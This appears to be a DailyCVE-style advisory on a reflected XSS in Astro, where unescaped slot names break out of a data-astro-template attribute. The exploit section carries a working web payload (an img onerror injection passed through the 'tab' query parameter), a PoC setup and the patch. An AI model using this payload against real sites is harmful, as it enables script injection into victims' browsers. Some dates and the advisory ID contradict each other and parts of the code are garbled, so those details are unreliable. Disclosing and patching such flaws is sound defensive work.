Astro, Reflected XSS, GHSA-wrwg-2hg8-v723 -DC-Jun2026-467

Listen to this Post

The vulnerability arises when an Astro component uses a `client:` directive (e.g., client:load). In such cases, the framework inserts named slot content into a `data-astro-template` attribute within the server-side rendered (SSR) output. The slot name, provided via the `slot` attribute on a child element, is interpolated directly into this attribute value without any HTML escaping. This allows an attacker to craft a malicious slot name that breaks out of the attribute context and injects arbitrary HTML markup.
The vulnerable code is located in `packages/astro/src/runtime/server/render/component.ts` at lines 371–376. Specifically, the template literal `<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children

}</template>`</code> uses the `key` variable (the slot name) directly within the attribute value. When `key` contains double quotes, angle brackets, or other special characters, they are not escaped, enabling attribute injection.
This is similar to the previously reported GHSA-wrwg-2hg8-v723 but exploits a different injection point. While the prior issue involved a different vector, this one leverages the `data-astro-template` attribute on the `<template>` tag that wraps named slot content.
An attacker can control the slot name via user-supplied input, such as a URL query parameter, and inject a payload that closes the attribute and the `<template>` tag, then introduces new HTML elements. Because the injection occurs during SSR, the malicious markup is rendered directly into the initial HTML response, leading to reflected cross-site scripting (XSS) when the page is loaded.
The proof of concept uses Astro 6.3.1 with Node.js v26.0.0. A minimal setup with a React integration and server-side adapter demonstrates the issue. The payload `abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--` when passed as the `tab` query parameter breaks out of the attribute and injects an `<img>` tag with an `onerror` handler.
The fix is straightforward: apply the existing `escapeHTML` function to the slot name before interpolation. This ensures that any special characters are properly encoded, neutralizing the injection vector.

<h2 style="color: blue;">References:</h2>

<ul>
<li>https://github.com/advisories/GHSA-wrwg-2hg8-v723</li>
</ul>

<h2 style="color: blue;">DailyCVE Form:</h2>

Platform: Astro
Version: 6.3.1
Vulnerability: Reflected XSS
Severity: High
Date: 2025-03-15

<h2 style="color: blue;">Prediction: 2025-03-20</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

[bash]
Clone the minimal PoC repository
git clone https://github.com/example/astro-xss-poc
cd astro-xss-poc
Install dependencies
npm install
Start the development server
npm run dev
// astro.config.mjs - configuration used in the PoC
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
// src/pages/index.astro - page that reflects the slot name
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
<html><body>
<Wrapper client:load>

<div slot={slotName}>content</div>

</Wrapper>
</body></html>
// src/components/Wrapper.jsx - dummy component
export default function Wrapper() { return null; }

Exploit:

GET /?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!-- HTTP/1.1
Host: localhost:4321

The decoded payload is:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

This results in the following HTML being rendered:

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

The injected `` tag executes the JavaScript `confirm(document.domain)` when the image fails to load, demonstrating XSS.

Protection:

Apply the following patch to `packages/astro/src/runtime/server/render/component.ts`:

- <code><template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[bash]}</template></code>
+ <code><template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[bash]}</template></code>

This uses the existing `escapeHTML` function to sanitize the slot name before placing it in the attribute value, preventing attribute breakouts and XSS.

Impact:

  • Successful exploitation allows an attacker to inject arbitrary HTML and JavaScript into the page during server-side rendering.
  • The injected script executes in the context of the victim's browser when the page is loaded, leading to session hijacking, data theft, or other client-side attacks.
  • The vulnerability affects any Astro application that uses `client:` directives with named slots where the slot name is derived from user-controlled input.
  • All versions of Astro up to and including 6.3.1 are vulnerable. Users should upgrade to a patched version as soon as it becomes available.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top